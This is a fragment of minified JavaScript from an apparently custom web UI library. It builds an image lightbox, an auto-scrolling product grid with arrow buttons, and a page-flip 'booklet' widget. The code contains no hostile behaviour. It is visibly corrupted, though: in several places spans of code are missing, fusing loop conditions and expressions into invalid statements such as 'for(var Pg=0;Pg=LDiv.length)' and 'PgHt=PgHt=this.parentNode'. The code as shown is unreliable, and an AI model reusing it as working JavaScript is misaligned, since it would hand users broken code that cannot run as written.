Image();DicDiv[LjID][4].src=DicDiv[LjID][1];ObjImg.mto=setTimeout("Mrlgei('"+ObjImg.id+"').onload()",2000);};ObjImg.onload=function(){clearTimeout(this.mto);this.LParent.removeChild(this.LObjDiv);this.style.width='auto';setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",0);};ObjImg.onMrlLoad=function(){this.id='';var Ht=this.offsetHeight;var Wd=this.offsetWidth;var Rat=1;if (Wd>(this.parentNode.offsetWidth-40)||Ht>(this.parentNode.offsetHeight-90)){ Rat=((this.parentNode.offsetWidth-40)/Wd)<((this.parentNode.offsetHeight-90)/Ht)?((this.parentNode.offsetWidth-40)/Wd):((this.parentNode.offsetHeight-90)/Ht);};Ht*=Rat;Wd*=Rat;this.style.height=(Ht)+'px';this.style.width=(Wd)+'px';var LjID=this.LLjID;var LjText=this.parentNode.LProductGrid_LDicOriAry[LjID][2];var ObjA=Mrlce('div');ObjA.style.position='absolute';ObjA.style.zIndex='6';ObjA.style.top=(Ht-65)+'px';ObjA.style.left='10px';ObjA.style.height=(60)+'px';ObjA.style.width=(Wd)+'px';ObjA.style.fontFamily='verdana';ObjA.style.fontSize='14px';ObjA.style.color='#555';var ObjB=Mrlce('div');ObjB.style.position='absolute';ObjB.style.zIndex='6';ObjB.style.top=(0)+'px';ObjB.style.left='0px';ObjB.style.height='100%';ObjB.style.width='100%';ObjB.style.paddingTop='5px';ObjB.innerHTML=LjText;ObjA.appendChild(ObjB);var ObjB=Mrlce('div');ObjB.style.position='absolute';ObjB.style.backgroundColor='#fff';ObjB.style.filter='alpha(opacity=50)';ObjB.style.opacity='0.5';ObjB.style.zIndex='5';ObjB.style.top=(0)+'px';ObjB.style.left='0px';ObjB.style.height='100%';ObjB.style.width='100%';ObjB.style.paddingTop='5px';ObjA.appendChild(ObjB);this.LDesc=ObjA;var ObjA=Mrlce('button');ObjA.style.position='absolute';ObjA.style.zIndex='6';ObjA.style.top=(10)+'px';ObjA.style.right='10px';ObjA.style.height=(30)+'px';ObjA.style.width=(30)+'px';ObjA.style.backgroundColor='#fff';ObjA.style.border='none 0px #000';ObjA.style.fontFamily='verdana';ObjA.style.fontSize='18px';ObjA.style.color='#555';ObjA.innerHTML='X';ObjA.value='X';ObjA.onclick=function(){this.parentNode.parentNode.LObjCov.onclick()};this.LClose=ObjA;this.LParent.LObjImg=this;this.LParent.onMMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};this.onMMrlAnimationEnd=function(){};this.LObjImg.style.top='10px';this.appendChild(this.LObjImg);this.appendChild(this.LObjImg.LDesc);this.appendChild(this.LObjImg.LClose)};var Lf=(this.parentNode.offsetWidth-Wd-20)/2;var Tp=(this.parentNode.offsetHeight-Ht-20)/2;MrlAnimation(this.LParent,2,Tp,Lf,Ht*1+20,Wd*1+20);if(this.LParent.LAniCom==1){this.LParent.onMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};this.onMMrlAnimationEnd()}};};var ObjDiv=Mrlce('div');ObjImg.LObjDiv=ObjDiv;this.appendChild(ObjDiv);ObjDiv.style.position='absolute';ObjDiv.style.height=(this.LProductGrid_LjHt-90>200)?((200)+'px'):((this.LProductGrid_LjHt-90)+'px');ObjDiv.style.width=(this.LProductGrid_LjWd-90>200)?((200)+'px'):((this.LProductGrid_LjWd-90)+'px');ObjDiv.style.top=(10)+'px';ObjDiv.style.left=(10)+'px';ObjDiv.style.zIndex='5';this.appendChild(ObjDiv);var ObjNImg=Mrlce('img');ObjDiv.appendChild(ObjNImg);ObjNImg.src='img/loading.gif';ObjNImg.style.position='absolute';ObjNImg.style.top=((ObjDiv.offsetHeight-40)/2)+'px';ObjNImg.style.left=((ObjDiv.offsetWidth-40)/2)+'px';ObjNImg.style.height='40px';ObjNImg.style.width='40px';var ObjA=Mrlce('button');ObjA.style.position='absolute';ObjA.style.zIndex='6';ObjA.style.top=(10)+'px';ObjA.style.right='10px';ObjA.style.height=(30)+'px';ObjA.style.width=(30)+'px';ObjA.style.backgroundColor='#fff';ObjA.style.border='none 0px #000';ObjA.style.fontFamily='verdana';ObjA.style.fontSize='18px';ObjA.style.color='#555';ObjA.innerHTML='X';ObjA.value='X';ObjA.onclick=function(){this.parentNode.parentNode.parentNode.LObjCov.onclick()};} else {var Rat=((ObjDiv.offsetWidth/this.offsetWidth)>(ObjDiv.offsetHeight/this.offsetHeight))?(ObjDiv.offsetWidth/this.offsetWidth):(ObjDiv.offsetHeight/this.offsetHeight);Rat=1/Rat*0.8;ObjDiv.style.zIndex='5';ObjDiv.style.width=(ObjDiv.offsetWidth*Rat)+'px';ObjDiv.style.height=(ObjDiv.offsetHeight*Rat)+'px';ObjDiv.style.left=(10)+'px';ObjDiv.style.top=(10)+'px';};var ObjCon=Mrlce('div');if (this.IorD=='I'){ObjImg.LParent=ObjCon};ObjCon.style.zIndex='4';this.appendChild(ObjCon);ObjCon.style.position='absolute';ObjCon.style.top=((this.offsetHeight-ObjDiv.offsetHeight-(10))/2)+'px';ObjCon.style.left=(this.offsetWidth/2)+'px';ObjCon.style.height=(ObjDiv.offsetHeight*1+20)+'px';ObjCon.style.width=(0)+'px';ObjCon.style.backgroundColor='#fff';ObjCon.appendChild(ObjDiv);this.LObjCon=ObjCon;var ObjCov=Mrlce('div');ObjCon.appendChild(ObjCov);ObjCov.style.position='absolute';ObjCov.style.backgroundColor='#fff';ObjCov.style.top='0px';ObjCov.style.left='0px';ObjCov.style.zIndex='6';ObjCov.style.height='100%';ObjCov.style.width='100%';ObjCov.style.filter='alpha(opacity=100)';ObjCov.style.opacity='1';ObjCov.LObjCon=ObjCon;ObjCon.LObjCov=ObjCov;ObjCon.LAniCom=0;MrlAnimation(ObjCon,2,null,((this.offsetWidth-ObjDiv.offsetWidth-(20))/2),null,ObjDiv.offsetWidth*1+20);ObjCon.onMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};MrlAnimation(this.LObjCov,7,null,null,null,null,0);this.LObjCov.onMrlAnimationEnd=function(){if(this.LObjCon.onMMrlAnimationEnd){this.LObjCon.onMMrlAnimationEnd()};this.LObjCon.LAniCom=1;this.parentNode.removeChild(this)};if(this.onMMrlAnimationEnd){this.onMMrlAnimationEnd()}};ObjCon.LObjDiv=ObjDiv;ObjCon.LIorD=this.IorD;ObjCon.LRemove=function(){if (this.LIorD=='D'){ this.LObjDiv.LProductGrid_LParentNode.appendChild(this.LObjDiv); this.LObjDiv.style.width=(this.parentNode.LProductGrid_LjIWd)+'px'; this.LObjDiv.style.height=(this.parentNode.LProductGrid_LjIHt)+'px'; this.LObjDiv.style.top=(this.LObjDiv.LProductGrid_LjT)+'px'; this.LObjDiv.style.left=(this.LObjDiv.LProductGrid_LjL)+'px'; this.LObjDiv.style.zIndex='1';};this.parentNode.LObjCov.onMrlAnimationEnd=function(){};this.parentNode.removeChild(this)};this.LProductGrid_LDivID=LjID;};ObjDiv.onMrlAutoReelStart=function(){clearTimeout(this.LProductGrid_Timeout);var LjA=this.style.visibility;LjA=LjA+'';LjA=LjA.toUpperCase();var LjB=this.style.display;LjB=LjA+'';LjB=LjA.toUpperCase();if(LjA=='HIDDEN'||LjB=='NONE'){return 0};this.LProductGrid_Timeout=setTimeout("var ObjA=Mrlgei('"+this.id+"');ObjA.onMrlPage(ObjA.LCurPg*1+1);ObjA.onMrlAutoReelStart()",TM);};ObjDiv.onMrlAutoReelStop=function(){clearTimeout(this.LProductGrid_Timeout);};var ObjBtn=Mrlce('div');ObjDiv.appendChild(ObjBtn);ObjBtn.style.position='absolute';ObjBtn.style.top=((LjHt-50)/2)+'px';ObjBtn.style.left=(LjWMar)+'px';ObjBtn.style.height='50px';ObjBtn.style.width='50px';ObjBtn.style.overflow='hidden';ObjBtn.style.zIndex='20';ObjBtn.style.opacity='0';ObjBtn.style.filter='alpha(opacity=0)';ObjBtn.style.cursor='pointer';var ObjImg=Mrlce('img');ObjBtn.appendChild(ObjImg);ObjImg.src='img/arrow.png';ObjImg.style.position='absolute';ObjImg.style.left=(0-60*0)+'px';ObjImg.style.top=(0-60*0)+'px';ObjImg.style.height='auto';ObjImg.style.width='auto';ObjBtn.LOverMe=0;ObjBtn.onmouseover=function(){this.LOverMe=1;MrlAnimation(this,4,null,null,null,null,80)};ObjBtn.onmouseout=function(){this.LOverMe=0;MrlAnimation(this,4,null,null,null,null,20)};ObjBtn.onclick=function(){this.parentNode.onMrlPage(this.parentNode.LCurPg*1-1)};ObjDiv.LBtnL=ObjBtn;var ObjBtn=Mrlce('div');ObjBtn.style.cursor='pointer';ObjDiv.appendChild(ObjBtn);ObjBtn.style.position='absolute';ObjBtn.style.top=((LjHt-50)/2)+'px';ObjBtn.style.left=(LjWd-LjWMar-50)+'px';ObjBtn.style.height='50px';ObjBtn.style.width='50px';ObjBtn.style.overflow='hidden';ObjBtn.style.zIndex='20';ObjBtn.style.opacity='0';ObjBtn.style.filter='alpha(opacity=0)';var ObjImg=Mrlce('img');ObjBtn.appendChild(ObjImg);ObjImg.src='img/arrow.png';ObjImg.style.position='absolute';ObjImg.style.right=(0)+'px';ObjImg.style.top=(0-60*0)+'px';ObjImg.style.height='auto';ObjImg.style.width='auto';ObjBtn.LOverMe=0;ObjBtn.onmouseover=function(){this.LOverMe=1;MrlAnimation(this,4,null,null,null,null,80)};ObjBtn.onmouseout=function(){this.LOverMe=0;MrlAnimation(this,4,null,null,null,null,20)};ObjBtn.onclick=function(){this.parentNode.onMrlPage(this.parentNode.LCurPg*1+1)};ObjDiv.LBtnR=ObjBtn;var ObjBarSha=Mrlce('img');ObjDiv.appendChild(ObjBarSha);ObjBarSha.style.position='absolute';ObjBarSha.style.top=((LjHt-LjPgBarHt))+'px';ObjBarSha.style.left='0px';ObjBarSha.style.zIndex='10';ObjBarSha.style.width=LjWd+'px';ObjBarSha.style.height='8px';ObjBarSha.src='/MRL/img/shadow_b.png';var ObjBar=Mrlce('div');ObjDiv.appendChild(ObjBar);ObjBar.style.position='absolute';ObjBar.style.top=((LjHt-LjPgBarHt))+'px';ObjBar.style.left=(LjWMar)+'px';ObjBar.style.height=(LjPgBarHt)+'px';ObjBar.style.width='100%';ObjBar.style.overflow='hidden';ObjBar.style.zIndex='2';ObjBar.LDic=new Array();ObjBar.LPageSelecting=0;var PgImgLen=Math.round((LjPgBarHt)*0.8);for(var Pg=0;Pg=LDiv.length){var ObjNewDiv=Mrlce('div');var Chk=0}else{var ObjNewDiv=LDiv[LImgInd];var Chk=1};ObjNewDiv.style.position='absolute';ObjNewDiv.style.top='0px';ObjNewDiv.style.left=((LjIWd*1+LjWMar)*C)+'px';ObjNewDiv.LProductGrid_LjT=0;ObjNewDiv.LProductGrid_LjL=((LjIWd*1+LjWMar)*C);ObjNewDiv.style.height=(LjIHt)+'px';ObjNewDiv.style.width=(LjIWd)+'px';ObjNewDiv.style.zIndex='1';ObjNewDiv.LDivID=LImgInd;ObjNewDiv.LProductGrid_LParentNode=ObjR;ObjR.appendChild(ObjNewDiv);if (Chk==1){ObjDiv.LProductGrid_LDicDiv[LImgInd]=ObjNewDiv;ObjNewDiv.style.cursor='pointer';};} else if(IorD=='I'){if (LImgInd>=LDiv.length){var Chk=0}else{var Chk=1};var ObjNewDiv=Mrlce('div');ObjNewDiv.style.position='absolute';ObjNewDiv.style.top='0px';ObjNewDiv.style.left=((LjIWd*1+LjWMar)*C)+'px';ObjNewDiv.style.height=(LjIHt)+'px';ObjNewDiv.style.width=(LjIWd)+'px';ObjNewDiv.style.zIndex='1';ObjNewDiv.style.overflow='hidden';ObjNewDiv.LDivID=LImgInd;ObjNewDiv.LProductGrid_LParentNode=ObjR;ObjR.appendChild(ObjNewDiv);if (Chk==1){ObjDiv.LProductGrid_LDicDiv[LImgInd]=ObjNewDiv;var ObjNImg=Mrlce('img');ObjDiv.appendChild(ObjNImg);ObjNImg.style.position='absolute';ObjNImg.style.width='100%';ObjNImg.style.left='-100%';ObjNImg.style.top='0px';ObjNImg.style.height='2px';ObjNImg.id='MrlProductionGrid_PreLoadSImg_'+parseInt(Math.random()*999999);ObjNImg.src=LDiv[LImgInd][0];ObjNImg.mto=setTimeout("var ObjA=Mrlgei('"+ObjNImg.id+"');ObjA.onMrlLoad()",2000);ObjNImg.onload=function(){ this.style.height='auto'; setTimeout("var ObjA=Mrlgei('"+this.id+"');ObjA.onMrlLoad()",10);};ObjNImg.onMrlLoad=function(){ clearTimeout(this.mto); this.LParent.removeChild(this.LObjImg); var Rat=1; var Ht=this.offsetHeight; var Wd=this.offsetWidth; var WdA=this.LParent.offsetWidth; var HtA=this.LParent.offsetHeight; Rat=(HtA/Ht)>(WdA/Wd)?(HtA/Ht):(WdA/Wd); this.style.height=(Ht*Rat)+'px'; this.style.width=(Wd*Rat)+'px'; var HW=(Ht/HtA)>(Wd/WdA)?'H':'W'; this.style.top=HW=='W'?'0px':(0-(((Ht*Rat)-HtA)/2))+'px'; this.style.left=HW=='H'?'0px':(0-(((Wd*Rat)-WdA)/2))+'px'; this.LParent.appendChild(this);};ObjNImg.LParent=ObjNewDiv;var ObjImg=Mrlce('img');ObjNImg.LObjImg=ObjImg;ObjNewDiv.appendChild(ObjImg);var ddd=Mrlce('div');ddd.style.visibility='hidden';ObjNewDiv.appendChild(ddd);Mrlab4(ddd,-100,-100,100,100);ddd.style.overflow='hidden';ddd.appendChild(ObjNImg);ObjImg.style.position='absolute';ObjImg.style.left=((LjIWd-40)/2)+'px';ObjImg.style.top=((LjIHt-40)/2)+'px';ObjImg.style.width='40px';ObjImg.style.height='40px';ObjImg.src='img/loading.gif';ObjCov=Mrlce('div');ObjR.appendChild(ObjCov);ObjCov.style.position='absolute';ObjCov.style.top='0px';ObjCov.style.left=((LjIWd*1+LjWMar)*C)+'px';ObjCov.style.height=(LjIHt)+'px';ObjCov.style.width=(LjIWd)+'px';ObjCov.style.zIndex='2';ObjCov.style.overflow='hidden';ObjCov.LDivID=LImgInd;ObjCov.LProductGrid_LParentNode=ObjR;var ObjOp=Mrlce('div');ObjCov.appendChild(ObjOp);ObjOp.style.position='absolute';ObjOp.style.top='0px';ObjOp.style.left='0px';ObjOp.style.height=(LjIHt)+'px';ObjOp.style.width=(LjIWd)+'px';ObjOp.style.filter='alpha(opacity=0)';ObjOp.style.opacity='0';ObjOp.style.cursor='pointer';ObjOp.style.zIndex='3';ObjOp.LDivID=LImgInd;ObjOp.style.backgroundColor='#aaa';ObjOp.LProductGrid_LParentNode=ObjR;var ObjCon=Mrlce('div');ObjCov.appendChild(ObjCon);ObjOp.LObjCon=ObjCon;ObjCon.style.position='absolute';ObjCon.style.top=(0-LjIHt)+'px';ObjCon.style.left='0px';ObjCon.style.height=(LjIHt)+'px';ObjCon.style.width=(LjIWd)+'px';ObjCon.style.zIndex='2';ObjCon.style.fontFamily='verdana';ObjCon.style.fontSize='14';ObjCon.style.color='#000';ObjCon.innerHTML=LDiv[LImgInd][2];if (CDV==0){ObjOp.onmouseover=function(){MrlAnimation(this,2,null,null,null,null,30);MrlAnimation(this.LObjCon,2,0);this.LObjCon.onMrlAnimationEnd=function(){}};ObjOp.onmouseout=function(){MrlAnimation(this,2,null,null,null,null,0);MrlAnimation(this.LObjCon,2,this.LObjCon.offsetHeight);this.LObjCon.onMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};this.style.top=(0-this.offsetHeight)+'px'}};};if (SOC==0){ObjOp.onclick=function(){this.parentNode.parentNode.parentNode.parentNode.onMrlDivClick(this.LDivID)}};};};};};};ObjDiv.onMrlAutoReelStart();return ObjDiv;};MrlBooklet = function(LBooklet_Ary,LBooklet_offset,LBooklet_pageColor){var DicA=LBooklet_Ary;var ObjBk=Mrlce('div');var PCol=LBooklet_pageColor?LBooklet_pageColor:'#fafafa';ObjBk.id='MrlBooklet_id_'+parseInt(Math.random()*99999);ObjBk.LBooklet_Spd=0;ObjBk.LBooklet_Ang=0;ObjBk.LBooklet_SpdCal=function(){this.LBooklet_Spd-=this.LBooklet_Spd==0?0:this.LBooklet_Spd>0?20:-20;this.LBooklet_Spd=Math.abs(this.LBooklet_Spd)<20?0:this.LBooklet_Spd;this.LBtnR.innerHTML=this.LBooklet_Spd;setTimeout("Mrlgei('"+this.id+"').LBooklet_SpdCal()",500);};ObjBk.LTtlPg=DicA.length;ObjBk.LPg=0;ObjBk.LDicPg=DicA;ObjBk.LOffset=LBooklet_offset?LBooklet_offset:-80;var PgHt=0;var PgWd=0;for (var i in DicA) { if (!DicA[i].parentNode){document.body.appendChild(DicA[i])}; PgHt=PgHt=this.parentNode.LBookletPages.length){return 0};var TOLR=this.LToLR;var LOffset=this.parentNode.LOffset;var ObjA=this.parentNode.LBookletPages[PgNoA];var ObjB=this.parentNode.LBookletPages[PgNoB];if (TOLR=='L'&&Ang<=45) {TOLR='L';}else if (TOLR=='L'&&Ang>45) {TOLR='R';if (Ang<=90){ObjA.LAng=90;ObjB.LAng=90};ObjA.style.zIndex=(0-ObjA.LPg);ObjB.style.zIndex=(0-ObjB.LPg);}else if (TOLR=='R'&&Ang>=135) {TOLR='R';}else if (TOLR=='R'&&Ang<135) {TOLR='L';if (Ang>=90){ObjA.LAng=90;ObjB.LAng=90};ObjA.style.zIndex=ObjA.LPg;ObjB.style.zIndex=ObjB.LPg};ObjA.LDirection=TOLR=='L'?(0-1):1;ObjB.LDirection=TOLR=='L'?(0-1):1;ObjA.LLR='R';ObjB.LLR='L';this.parentNode.LBooklet_Ang=0;this.onMrlScroll=this.onscroll;this.onscroll=function(){};this.scrollLeft=TOLR=='L'?PgWd*2*(PgNo*1+1):PgWd*2*PgNo;this.onscroll=this.onMrlScroll;ObjA.onMrlAutoComplete();};ObjScr.onmouseout=function(e){this.onmouseup();};ObjScr.onscroll=function(){clearTimeout(this.LPadTimeout);var PgWd=this.LBooklet_PgWd;var PreScr=this.LPreScrollLeft;var CurScr=this.scrollLeft;this.LPreScrollLeft=CurScr;var Ang=180-(((CurScr%(PgWd*2))/(PgWd*2))*180);var PgNo=parseInt(CurScr/(PgWd*2));var PgNoA=PgNo*2;var PgNoB=PgNo*2+1;if (isNaN(Ang)){return 0};this.parentNode.LBooklet_Ang=Ang;if (Ang==0||Ang==180){return 0};if (PgNoA<=-1){return 0};if (PgNoA>=this.parentNode.LBookletPages.length){return 0};var TOLR=(PreScr>=CurScr)?'L':'R';this.LToLR=TOLR;var LOffset=this.parentNode.LOffset;var ObjA=this.parentNode.LBookletPages[PgNoA];var ObjB=this.parentNode.LBookletPages[PgNoB];ObjA.LDirection=TOLR=='L'?(0-1):1;ObjB.LDirection=TOLR=='L'?(0-1):1;ObjA.LAng=Ang;ObjB.LAng=Ang;ObjA.LLR='R';ObjB.LLR='L';if (Ang<=90){ObjA.style.zIndex=(ObjA.LPg);ObjB.style.zIndex=(ObjB.LPg);}else{ObjA.style.zIndex=(0-ObjA.LPg);ObjB.style.zIndex=(0-ObjB.LPg);};if (LOffset>=0) {this.parentNode.LPgOpen(ObjA,Ang,LOffset,'R');if (PgNoB0?'0px':Math.abs(ObjBk.LOffset)+'px';ObjDiv.style.left=(PgWd*1+1)+'px';ObjDiv.style.zIndex=(0-i);ObjDiv.style.border='dotted 1px #999';ObjDiv.style.overflow='hidden';ObjDiv.style.backgroundColor=PCol;ObjDiv.LPg=i;ObjDiv.LParent=ObjBk;if (Math.round((i-1)/2)==(i-1)/2){var ObjSha=Mrlce('div');ObjDiv.LShad=ObjSha;ObjSha.style.position='absolute';ObjSha.style.top=(0-PgHt)+'px';ObjSha.style.left=(0)+'px';ObjSha.style.width='10px';ObjSha.style.height=PgHt+'px';ObjSha.style.zIndex=(0-DicA.length)-1;ObjSha.style.backgroundColor='#aaa';ObjSha.style.filter='alpha(opacity=20)';ObjSha.style.opacity='0.2';ObjBk.appendChild(ObjSha);};ObjDiv.onMrlAutoComplete=function(){var LR=this.LDirection;var Ang=this.LAng;var Pos=this.LLR;var Spd=Mrlie9()?10:1;Ang=Ang%180;Ang=Ang*1+(Math.abs(parseInt((Math.sin((Ang)*Math.PI/180)*Spd)))*LR+3*LR);if (Ang<=0){Ang=0};if (Ang>=180){Ang=180};if (Pos=='L'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=180};if (Pos=='L'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=180};this.LAng=Ang;var LOffset=this.LParent.LOffset;if (LOffset>=0) { if (Pos=='L'){ this.parentNode.LPgOpen(this,180-Ang,LOffset,'L'); } else { this.parentNode.LPgOpen(this,Ang,LOffset,'R'); };}else{ if (Pos=='L'){ this.parentNode.LPgOpen(this,(Ang),LOffset,'L'); } else { this.parentNode.LPgOpen(this,Ang,LOffset,'R'); };};var ObjA=this.parentNode.LBookletPages[this.LPg*1+1];var LR=ObjA.LDirection;var Ang=ObjA.LAng;var Pos=ObjA.LLR;Ang=Ang%180;Ang=Ang*1+(Math.abs(parseInt((Math.sin((Ang)*Math.PI/180)*Spd)))*LR+3*LR);if (Ang<=0){Ang=0};if (Ang>=180){Ang=180};Ang=Math.round(Ang);if (Pos=='L'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=180};if (Pos=='L'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==1)&&(Ang<=0||Ang>=180)){Ang=0};if (Pos=='R'&&(LR==(0-1))&&(Ang<=0||Ang>=180)){Ang=180};ObjA.LAng=Ang;var LOffset=ObjA.LParent.LOffset;if (Ang<=90){ if (Pos=='L'){ObjA.style.zIndex=(0+ObjA.LPg)} else {ObjA.style.zIndex=(0-ObjA.LPg)};}else{ if (Pos=='L'){ObjA.style.zIndex=(0-ObjA.LPg)} else {ObjA.style.zIndex=(0+ObjA.LPg)};};if (LOffset>=0) { if (Pos=='L'){ ObjA.parentNode.LPgOpen(ObjA,180-Ang,LOffset,'L'); } else { ObjA.parentNode.LPgOpen(ObjA,Ang,LOffset,'R'); };}else{ if (Pos=='L'){ ObjA.parentNode.LPgOpen(ObjA,(Ang),LOffset,'L'); } else { ObjA.parentNode.LPgOpen(ObjA,Ang,LOffset,'R'); };};clearTimeout(this.LTimeout);if (Ang<=0||Ang>=180) {return 0};this.LTimeout=setTimeout("var ObjA=Mrlgei('"+this.LParent.id+"').LBookletPages["+this.LPg+"].onMrlAutoComplete()",50);};ObjBk.appendChild(ObjDiv);if (DicA.length<=i){DicA[i]=Mrlce('div')};ObjDiv.appendChild(DicA[i]);DicA[i].style.position='absolute';DicA[i].style.top='0px';DicA[i].style.left='0px';DicA[i].style.zIndex=(0-i);DicA[i].style.height=(PgHt)+'px';DicA[i].style.width=(PgWd)+'px';if (Mrlie9()){ObjDiv.style.filter='progid:DXImageTransform.Microsoft.Matrix();';var ObjMat=ObjDiv.filters['DXImageTransform.Microsoft.Matrix'];ObjMat.Dx=(PgWd/2)*1+1;ObjDiv.style.left=(0)+'px';ObjDiv.style.height=(PgHt*2)+'px';ObjDiv.style.width=(PgWd*2)+'px';ObjDiv.style.top=ObjBk.LOffset>0?(0-(PgHt/2))+'px':(0-(PgHt/2))*1+Math.abs(ObjBk.LOffset)+'px';DicA[i].style.border=ObjDiv.style.border;ObjDiv.style.border='none 0px #000';DicA[i].style.backgroundColor=ObjDiv.style.backgroundColor;ObjDiv.style.backgroundColor='transparent';DicA[i].style.top=(PgHt/2)+'px';DicA[i].style.left=(PgWd/2)+'px';} else {ObjDiv.style.overflow='visible';ObjDiv.style.left=(PgWd/2)+'px';ObjDiv.style.height=(PgHt)+'px';ObjDiv.style.width=(PgWd)+'px';ObjDiv.style.top=ObjBk.LOffset>0?0+'px':(Math.abs(ObjBk.LOffset)*2)+'px';DicA[i].style.border=ObjDiv.style.border;ObjDiv.style.border='none 0px #000';DicA[i].style.backgroundColor=ObjDiv.style.backgroundColor;ObjDiv.style.backgroundColor='transparent';DicA[i].style.top=(0)+'px';DicA[i].style.left=(0)+'px';MrlTransform(ObjDiv,'matrix(1,0,0,1,'+(PgWd/2)+',0)');};};var ObjBtn=Mrlce('div');ObjBtn.style.position='absolute';if (Mrlie9()){ObjBtn.style.top=ObjBk.LOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(ObjBk.LOffset)*1)+'px';}else{ObjBtn.style.top=ObjBk.LOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(ObjBk.LOffset)*2)+'px';};ObjBtn.style.left=(10)+'px';ObjBtn.style.height='50px';ObjBtn.style.width='50px';ObjBtn.style.zIndex=DicA.length*1+4;ObjBtn.style.overflow='hidden';ObjBtn.style.cursor='pointer';ObjBtn.LIO='0';ObjBtn.onmouseover=function(){this.LIO=1};ObjBtn.onmouseout=function(){this.LIO=0};ObjBtn.onclick=function(){ this.parentNode.LObjScr.scrollLeft=this.parentNode.LObjScr.scrollLeft*1-(this.parentNode.LBookletPages[0].childNodes[0].offsetWidth/2*1+10); setTimeout("Mrlgei('"+this.parentNode.id+"').LObjScr.onmouseup()",0);};var ObjImg=Mrlce('img');ObjImg.src='img/arrow.png';ObjImg.style.position='absolute';ObjImg.style.top='-10'+'px';ObjImg.style.left='-10'+'px';ObjImg.style.height='auto';ObjImg.style.width='auto';ObjImg.style.zIndex=DicA.length*1+4;ObjBtn.appendChild(ObjImg);ObjBk.appendChild(ObjBtn);ObjBk.LBtnL=ObjBtn;ObjBk.BtnL=ObjBtn;var ObjBtn=Mrlce('div');ObjBtn.style.position='absolute';if (Mrlie9()){ObjBtn.style.top=ObjBk.LOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(ObjBk.LOffset)*1)+'px';}else{ObjBtn.style.top=ObjBk.LOffset>0?(PgHt/2)+'px':((PgHt/2)*1+Math.abs(ObjBk.LOffset)*2)+'px';};ObjBtn.style.right=(10)+'px';ObjBtn.style.height='50px';ObjBtn.style.width='50px';ObjBtn.style.zIndex=DicA.length*1+4;ObjBtn.style.overflow='hidden';ObjBtn.style.cursor='pointer';ObjBtn.LIO='0';ObjBtn.onmouseover=function(){this.LIO=1};ObjBtn.onmouseout=function(){this.LIO=0};ObjBtn.onclick=function(){ this.parentNode.LObjScr.scrollLeft=this.parentNode.LObjScr.scrollLeft*1+(this.parentNode.LBookletPages[0].childNodes[0].offsetWidth/2*1+10); setTimeout("Mrlgei('"+this.parentNode.id+"').LObjScr.onmouseup()",0);};var ObjImg=Mrlce('img');ObjImg.src='img/arrow.png';ObjImg.style.position='absolute';ObjImg.style.top='-10'+'px';ObjImg.style.right='-10'+'px';ObjImg.style.height='auto';ObjImg.style.width='auto';ObjImg.style.zIndex=DicA.length*1+4;ObjBtn.appendChild(ObjImg);ObjBk.appendChild(ObjBtn);ObjBk.LBtnR=ObjBtn;ObjBk.BtnR=ObjBtn;ObjBk.onmouseover=function(e){this.LBtnL.LIO=0;};ObjBk.onmouseout=function(){this.LBtnL.LIO=1;};ObjBk.onmousemove=function(e){if(!e){e=window.event};return 0;if (this.LBtnR.LIO!='0'||this.LBtnL.LIO!='0'){return 0};var LjX=e.offsetY?e.offsetY:e.layerY;var LjY=e.offsetX?e.offsetX:e.layerX;var Ang=((LjY)/(this.offsetWidth/2))*90;this.LBtnL.innerHTML=LjY;if (isNaN(Ang)){return 0};this.LBooklet_Ang=Ang;var LR=(LjY>=(this.offsetWidth/2))?'R':'L';var LRN=(LjY>=(this.offsetWidth/2))?'0':'-1';if ((this.LPg*1+LRN*1)<0||(this.LPg*1+LRN*1)>=this.LBookletPages.length){return 0};var ObjA=this.LBookletPages[(this.LPg*1+LRN*1)];if (this.LOffset>=0) {this.LPgOpen(ObjA,180-this.LBooklet_Ang,this.LOffset,LR);}else{this.LPgOpen(ObjA,this.LBooklet_Ang,this.LOffset,LR);};};ObjBk.LPgOpen=function(LPgOpen_ObjA,LPgOpen_Rotate,LPgOpen_OffsetTop,LPgOpen_LR){var LR=LPgOpen_LR;LR=LR+'';LR=LR.toUpperCase();var Ang=LPgOpen_Rotate;var LOffset=LPgOpen_OffsetTop;var NP=LOffset<0?(0-1):1;Ang=((Ang*1+360)%360);if (Ang!=180&&Ang!=0){if (LR=='L'){Ang=Ang-180};Ang=LOffset<0?((Ang%180)*1+180):((Ang%180)*1);};var ObjA=LPgOpen_ObjA;var Cos=Math.cos(Ang*Math.PI/180);var Sin=Math.sin(Ang*Math.PI/180);LOffset=Math.abs(LOffset);var OffsetScale=(LOffset)/(ObjA.offsetWidth/2);if (Mrlie9()){var ObjB=ObjA.filters['DXImageTransform.Microsoft.Matrix'];ObjB.M11=(Cos);ObjB.M12=0;ObjB.M21=(Sin*OffsetScale);ObjB.M22=1;if(LR=='L'){ObjB.Dx=((ObjA.offsetWidth/2)*1-(Cos*ObjA.offsetWidth*1/4)*1-(Cos*ObjA.offsetWidth*2/4));ObjB.Dy=((ObjA.offsetHeight/4)*1-(ObjA.offsetHeight/4)*1+(Sin*(ObjA.offsetWidth*1/4*OffsetScale)*1)*1-(Sin*ObjA.offsetWidth*OffsetScale));Shax=((((ObjA.offsetWidth/2)*1-(Cos*ObjA.offsetWidth*1/4)*1-(Cos*ObjA.offsetWidth*2/4))*1+ObjA.offsetWidth/4)/(ObjA.offsetWidth*3/4))*(ObjA.offsetWidth/2);Shay=((((ObjA.offsetWidth/2)*1-(Cos*ObjA.offsetWidth*1/4)*1-(Cos*ObjA.offsetWidth*2/4))*1+ObjA.offsetWidth/4)/(ObjA.offsetWidth*3/4))*(ObjA.offsetWidth/2)-ObjA.offsetWidth/2;} else 